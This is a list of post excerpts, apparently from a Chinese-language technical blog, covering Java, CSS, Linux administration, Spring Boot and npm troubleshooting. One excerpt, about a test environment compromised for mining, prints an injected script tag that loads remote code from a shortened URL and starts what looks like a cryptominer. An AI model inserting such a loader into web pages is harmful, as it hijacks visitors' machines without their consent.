原创 Win7 安裝jdk後無法打開jar文件
一、由於裝了壓縮軟件,jar包被壓縮軟件所關聯,導致雙擊jar包無法運行, 解決辦法當然是改變打開方式,將默認打開方式改爲C:\Program Files\Java\jdk1.8.0_66\jre\bin目錄下的javaw.
原创 在內垂直、水平居中
<div style="width: 130px;height: 40px; display: table-cell;/*1必填*/ vertical-align: middle;/*2必填*/
原创 jsp頁面div浮動在上面
<div style="width: 135px;height: 135px;"> <img src="12.jpg" alt="圖片" width="135px" height="135px" class="img-rounde
原创 文件777 仍然不可寫
原因: 這是linux開啓了SELinux,這是linux的一個安全子系統, getenforce 查看狀態 setenforce 0 臨時關閉(重啓恢復開啓狀態) /usr/sbin/sestatus 查
原创 Kali 2019.4 下卸載並重新安裝MySQL
一、完全卸載Mysql 首先用 dpkg --list | grep mysql 查看自己的mysql有哪些依賴 卸載mysql相關應用 apt-get remove mysql* 再用 dpkg --list|grep mysql
原创 Apache2 【error】Config variable ${APACHE_RUN_DIR} is not defined
現象: 原因: 這是由於升級後apache 配置文件變化,沒有導入新的apache 環境變量 解決方案: source /etc/apache2/envvars 點贊 收藏 分享 文章舉報
原创 kali linux 開啓ssh端口服務
ssh鏈接可以遠程管理linux設備,默認端口是22,安裝好系統默認是不開啓的,需要修改配置文件 1.修改/etc/ssh/sshd_config配置文件 vim /etc/ssh/sshd_config 1.1 找到#Password
原创 springboot 攔截器Interceptor 實現
1.編寫攔截器 implements HandlerInterceptor public class AuthorityInterceptor implements HandlerInterceptor { /*
原创 關於springboot中添加Filter的方法
【轉】關於springboot中添加Filter的方法 @WebFilter(filterName = "myFilter",urlPatterns = "/*") public class MyFilter implements
原创 springboot cors跨域
corsConfiguration.addAllowedOrigin("http://ip:port"); corsConfiguration.setAllowCredentials(true); package com.book
原创 npm ERR! Error: EACCES: permission denied, access
npm ERR! Error: EACCES: permission denied, access '/Users/aven/node-red/node_modules/onetime' npm ERR! { Error: EACCES
原创 Spring Boot Web項目解決ajax跨域
【轉】SpringBoot項目ajax 跨域post請求問題 在Application啓動類中註冊WebMvcConfigurer @Bean public WebMvcConfigurer webMvcConfigurer
原创 【轉】記錄一次測試環境被挖礦的坑
document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</sc
原创 Linux 防火牆
CentOS7默認的防火牆不是iptables,而是firewalle. 禁用/停止自帶的firewalld服務 #停止firewalld服務 systemctl stop firewalld #禁用firewalld服務 syste
原创 Spring Schedule
Spring Schedule介紹 作業調度,例如定時任務 Spring Schedule Cron表達式 Cron表達式的格式:秒 分 時 日 月 周 年(可選) Seconds Minutes Hours Day-of-